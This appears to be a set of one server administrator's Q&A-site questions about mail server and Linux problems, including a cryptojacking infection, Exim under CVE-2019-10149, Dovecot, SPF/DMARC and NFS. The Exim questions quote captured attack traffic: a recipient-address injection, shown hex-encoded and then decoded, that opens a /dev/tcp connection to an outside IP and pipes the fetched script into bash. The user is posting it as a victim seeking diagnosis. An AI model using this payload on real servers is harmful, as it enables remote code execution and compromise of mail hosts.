Skippy le Grand Gourou's questions

One of my servers has been infected by this cryptojacking malware (reporting to the very same IP than in the article).

It seems known for this malware to propagate through some Confluence vulnerabilities, however my server doesn't run Confluence, and the process was actually owned by root, so the entry point is different.

Is this malware already associated to other software vulnerabilities ? (I couldn't find any.) Are there guidelines to find what could have been the entry point ? Should I report this issue anywhere else ?

After upgrading Exim4 to an official patched version fixing CVE-2019-10149 vulnerability (i.e. exim4_4.89-2+deb9u4) on my Debian stable server, I still get the "Message frozen" warnings about suspicious emails.

Is it expected, or should these suspicious emails be silently discarded ? I can't seem to understand how the patch affects this behaviour — I'd assume such emails would trigger the !parse_extract_address(…) condition and therefore be logged and rejected, but it doesn't seem to be the case ?

I am suddenly receiving a number of curious "Message frozen" emails from my server (Exim 4.89, Debian stable) :

Message 1hcbPR-0005t1-2r has been frozen (delivery error message).

The sender is <>.

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost: Too many "Received" headers - suspected mail loop

$ sudo exim4 -Mvb 1hcbPR-0005t1-2r
1hcbPR-0005t1-2r-D
$ sudo exim4 -Mvh 1hcbPR-0005t1-2r
1hcbPR-0005t1-2r-H
Debian-exim 101 103
<>
1560715549 0
-helo_name localhost
-host_address 163.172.157.143.51642
-interface_address <MY.IP>.25
-received_protocol smtp
-body_linecount 0
-max_received_linelength 12
-frozen 1560715549
-host_lookup_failed
XX
1
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost

569P Received: from [163.172.157.143] (helo=localhost)
    by myserver.example.org with smtp (Exim 4.89)
    id 1hcbPR-0005t1-2r
    for root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22\x65\x78\x65\x63\x20\x35\x3c\x3e\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x35\x31\x2e\x33\x38\x2e\x31\x33\x33\x2e\x32\x33\x32\x2f\x38\x30\x3b\x65\x63\x68\x6f\x20\x2d\x65\x20\x27\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x5c\x6e\x27\x20\x3e\x26\x35\x3b\x74\x61\x69\x6c\x20\x2d\x6e\x20\x2b\x31\x31\x20\x3c\x26\x35\x20\x7c\x20\x62\x61\x73\x68\x22\x20\x26}}@localhost; Sun, 16 Jun 2019 22:05:49 +0200
012P Received: 1
012P Received: 2
012P Received: 3
012P Received: 4
012P Received: 5
012P Received: 6
012P Received: 7
012P Received: 8
012P Received: 9
013P Received: 10
013P Received: 11
013P Received: 12
013P Received: 13
013P Received: 14
013P Received: 15
013P Received: 16
013P Received: 17
013P Received: 18
013P Received: 19
013P Received: 20
013P Received: 21
013P Received: 22
013P Received: 23
013P Received: 24
013P Received: 25
013P Received: 26
013P Received: 27
013P Received: 28
013P Received: 29
013P Received: 30
013P Received: 31

It looks like code injection but I don't get it and it doesn't look much harmful to me :

root+${run{/bin/bash -c "exec 5<>/dev/tcp/51.38.133.232/80;echo -e 'GET / HTTP/1.0\n' >&5;tail -n +11 <&5 | bash" &}}@localhost: Too many "Received" headers - suspected mail loop

All messages are similar, with a different IP address and port. They all come from the same address.

Is it a known infection ?

I have an email server set to use dovecot with virtual users :

passdb {
  driver = passwd-file
  args = username_format=%n /etc/vmail/%d/users
}

userdb {
  driver = static
  args = uid=109 gid=111 home=/home/vmail/%d/%n
}

Now I need to set storage quotas for some users. Apparently this isn't possible with the static driver, so I figured the simplest way to enable it would be to switch to passwd-file. However I struggle to actually get it working.

Using the same passdb as above and

userdb {
  driver = passwd-file
  args = username_format=%n /etc/vmail/%d/users
  default_fields = uid=vmail gid=vmail home=/home/vmail/%d/%n
}

93.184.216.34 I get the following errors :

dovecot: imap: Error: Authenticated user not found from userdb, auth lookup id=345505793 (client-pid=30121 client-id=1)

dovecot: auth: Error: passwd-file([email protected],93.184.216.34,): user not found from userdb

I tried many variations and read many pages of the dovecot wiki, including AuthDatabase/PasswdFile, but I can't seem to interpret the documentation correctly.

How do I transpose my static configuration into a passwd-file with minimal modifications ?

/etc/vmail/%d/users files are of the standard form

user:{SHA512}…

And here is the output of dovecot userdb for these settings :

userdb {
  args = username_format=%n /etc/vmail/%d/users
  auth_verbose = default
  default_fields = uid=vmail gid=vmail home=/home/vmail/%d/%n
  driver = passwd-file
  name = 
  override_fields = 
  result_failure = continue
  result_internalfail = continue
  result_success = return-ok
  skip = never
}

I installed rstudio-server on an AWS EC2 instance. Everything went well, but when trying to access https://myawsserver.example.org:8787 I get the following error :

Secure Connection Failed

An error occurred during a connection to XX.XX.XX.XX:8787. SSL received a record that exceeded the maximum permissible length. Error code: SSL_ERROR_RX_RECORD_TOO_LONG

I cannot find any issue in the logs or anywhere. What's wrong ?

Our server has been listed several times on CBL (see this question) because it "attempted to send email without using the HELO/EHLO command".

Grep'ing on HELO on Exim's logs, I found such suspicious (yet useful !) entries from GMail :

Remote host closed connection in response to HELO  (EHLO response was: 501-5.5.4 Empty HELO/EHLO argument not allowed, closing connection.

and whatever email provider or software :

SMTP error from remote mail server after HELO : 501 Syntax: HELO hostname

It seems to me that these errors may be the very reason for which our IP is listed on CBL.

I can't say for the GMail error yet because those messages are not in Exim's queue anymore (I will confirm as soon as I get a new one), but the other message is a bounce email, as I suspected in the other question ("retry timeout exceeded" because of non-existent address).

Now, I couldn't find confirmation online but I guess it's not normal that bounce emails have an empty HELO command, right ? So how do I configure Exim so that they don't ?

NB : I know I could just blackhole such messages, which I'll eventually try if I can't find a better solution, but it doesn't seem like the right approach.

NB2 : For "regular emails" the HELO command is already set as follow, from /etc/exim4/conf.d/main/00_local_settings :

REMOTE_SMTP_HELO_DATA=$sender_address_domain

The IP of my email server has been listed on Spamhaus CBL, which states that the server "attempted to send email without using the HELO/EHLO command", "[which] is generally indicative of a broken email spam infection".

As suggested by the CBL, I first used their HELO check and it replied "The HELO for IP address X.X.X.X was 'example.com' (valid syntax)", which seem to indicate the issue is not a misconfiguration of my email server.

Unfortunately, most of the tools listed on CBL are Windows-only and my server is running Debian.

I ran maldet on most sensitive directories but it found no hits (it is still running, though). I ran unhide but it found nothing. I ran lynis (ex-rkhunter) and though it gave wise security advices on the server configuration, I don't see anything relevant in its report. I ran ispp_scan and though it claimed to have found a suspect.globals.eval malware infected file, the IP got listed again after deletion of this file.

I ran netstat -napec and greped it against ':25' to identify SMTP connections, it showed sporadic TIME_WAIT entries but gave no clue on how to identify their owning process or even if they were legitimate or not. I tried ss -nap as well as iptraf with a filter on outgoing SMTP connections but they weren't more verbose.

How can I identify their parent process ?

Finally I ran an lsof -i tcp:25 -P -R loop but it only showed seemingly legitimate exim4 connections.

Could it still be a server misconfiguration ? Here is my update-exim4.conf.conf :

dc_eximconfig_configtype='internet'
dc_other_hostnames='[a few domain names]'
dc_local_interfaces='127.0.0.1 ; X.X.X.X ; ::1'
dc_readhost='foobar.example.com'
dc_relay_domains=''
dc_minimaldns='false'
dc_relay_nets=''
dc_smarthost='foobar.example.com::587'
CFILEMODE='644'
dc_use_split_config='true'
dc_hide_mailname='true'
dc_mailname_in_oh='true'
dc_localdelivery='maildir_home'

Since the first event CBL reports occurred on Monday 11th, 01:15:00 UTC, I also searched on the whole system for files newer than 5 days ago, but couldn't find anything suspicious. I don't see any recently uploaded suspicious file under the web servers either.

I tried unlisting my IP hoping for a false positive, but it was relisted a few hours later, and since the CBL only list incoming connections to their servers, I do not doubt I have to fix something. But what ? Am I at least looking in the right direction ?

NB : The most sensitive data the server hosts are (literally) a few professional emails, and it is not shared.

Update :

Using tshark I was able to find suspicious MX queries. Checking these queries against exim4 logs, I found that they do correspond to frozen rejection emails of spam addressed to obsolete email addresses.

I doubt it, but could it be that the CBL listed our IP because of such a rejection email ?

I run an SMTP server with SPF enabled, and I need to email users from a list of academic addresses. Thing is, these addresses are used to forward emails to the end user. And SPF breaks forwarding, as I figured out the hard way (554 5.7.9 errors from Yahoo).

As far as I can think, I am left with few options :

1. Ask sysadmins to implement SRS or other workarounds.
2. Add these MX domains as authorized SPF domains ;
3. (Temporarily ?) disable SPF.

All these options have serious downsides. Are there other options ?

I am trying to setup SPF/DKIM/DMARC on my email server on a VPS. Here is my DNS configuration (DKIM & DMARC removed for readability) :

@                       28800  A      X.X.X.X
@                       28800  MX     10 smtp.example.com.
smtp                    28800  A      X.X.X.X
www                     28800  A      X.X.X.X
@                       28800  TXT    "v=spf1 ip4:X.X.X.X -all"
smtp.example.com.       28800  TXT    "v=spf1 ip4:X.X.X.X  -all"
www.example.com.        28800  TXT    "v=spf1 -all"

Emails seem to work, and port25.com reports nothing wrong :

==========================================================
Summary of Results
==========================================================
SPF check:          pass
DomainKeys check:   neutral
DKIM check:         pass
SpamAssassin check: ham

However Yahoo reports a failure on SPF :

<?xml version="1.0"?>   
<feedback>      
  <report_metadata>     
    <org_name>Yahoo! Inc.</org_name>    
    <email>[email protected]</email>   
    <report_id>1484621522.715243</report_id>    
    <date_range>        
      <begin>1484524800</begin> 
      <end>1484611199 </end>    
    </date_range>       
  </report_metadata>    
  <policy_published>    
    <domain>example.com</domain>  
    <adkim>s</adkim>    
    <aspf>s</aspf>      
    <p>reject</p>       
    <pct>100</pct>      
  </policy_published>   
  <record>      
    <row>       
      <source_ip>X.X.X.X</source_ip>      
      <count>7</count>  
      <policy_evaluated>        
        <disposition>none</disposition> 
        <dkim>pass</dkim>       
        <spf>fail</spf> 
      </policy_evaluated>       
    </row>      
    <identifiers>       
      <header_from>example.com</header_from>      
    </identifiers>      
    <auth_results>      
      <dkim>    
        <domain>example.com</domain>      
        <result>pass</result>   
      </dkim>   
      <spf>     
        <domain>myVPS.provider.com</domain>      
        <result>none</result>   
      </spf>    
    </auth_results>     
  </record>     
</feedback>

It seems Yahoo is checking on the HELO name (here myVPS.provider.com), which though it has the same IP address as the sending domain, has no SPF record (and I cannot edit its DNS configuration by myself).

Would it fix the issue if my VPS provider adds the following into the DNS configuration of myVPS.provider.com ?

myVPS.provider.com.  IN TXT  "v=spf1 ip4:X.X.X.X  -all"

Are there other alternatives ?

Not sure if it's better suited for superuser of unix&linux boards, let me know.

We have a server which is one of the main key points of a somehow large architecture. This server has a backup disk which was not used, although it hosted very old backups. So I decided to set it up, and while it was at the beginning a single partition I used fdisk to repartition it the same way as the primary drive (both are identical).

Unfortunately, after the repartitionning fdisk couldn't manage to get the kernel see the new partition table, nor could partrobe, blockdev or sfdisk. All faced the same issue : BLKRRPART: Device or resource busy, though neither lsof nor fuser did show anything using the device. Here I have to mention that I used umount -l to force the unmount before using fdisk (yes, now it seems stupid and I should have read the doc more carefully).

Afterwards I figured out NFS was sharing one of the directory of the drive, which is why it didn't appear in lsof and fuser — don't ask me who had the silly idea of using a directory from an old backup drive to share startup configuration files for NFS clients…

I can't reboot this server, and I won't restart NFS. I've read I could use nfs-kernel-server reload to keep NFS transfers while reloading /etc/exports (if I understood correctly), but first I'm not sure this will work and second I really don't want to try that. I really want to avoid interfering with running processes.

Now, if the directory indeed appears in the output of showmount -e (which seems basically the same as /etc/exports), it appears neither in showmount -a nor in showmount -d. I guess this means the directory is not in used, so maybe there is some way to force the unmount from NFS ?

Any suggestions ?